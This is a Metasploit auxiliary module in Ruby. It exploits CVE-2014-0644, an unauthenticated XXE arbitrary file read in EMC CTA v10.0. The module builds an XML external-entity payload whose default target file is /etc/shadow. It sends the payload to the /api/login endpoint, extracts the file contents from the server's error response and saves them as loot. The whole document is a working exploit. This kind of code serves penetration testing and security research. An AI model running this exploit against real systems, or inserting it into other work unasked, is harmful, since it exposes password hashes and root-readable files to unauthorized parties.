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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',
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      'Description'    => %q{
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      EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
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      that allows an attacker to read arbitrary files from the file system
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      with the permissions of the root user.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2014-0644'],
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          ['EDB', '32623']
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        ],
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      'DisclosureDate' => '2014-03-31'
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    ))
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    register_options(
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      [
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        Opt::RPORT(443),
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        OptBool.new('SSL', [true, 'Use SSL', true]),
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        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
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        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
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      ]
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    )
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  end
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  def run
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    doctype = Rex::Text.rand_text_alpha(6)
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    element = Rex::Text.rand_text_alpha(6)
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    entity = Rex::Text.rand_text_alpha(6)
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    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE #{doctype} [
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<!ELEMENT #{element} ANY >
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<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>
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<Request>
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<Username>root</Username>
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<Password>&#{entity};</Password>
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</Request>
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    }
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'api', 'login'),
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      'method' => 'POST',
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      'data' => pay
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    })
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    if !res or !res.body
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      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
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    end
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    file = /For input string: "(.*)"/m.match(res.body)
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    if !file or file.length < 2
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      fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")
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    end
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    file = file[1]
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    path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])
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    print_good("File saved to: " + path)
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  end
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end
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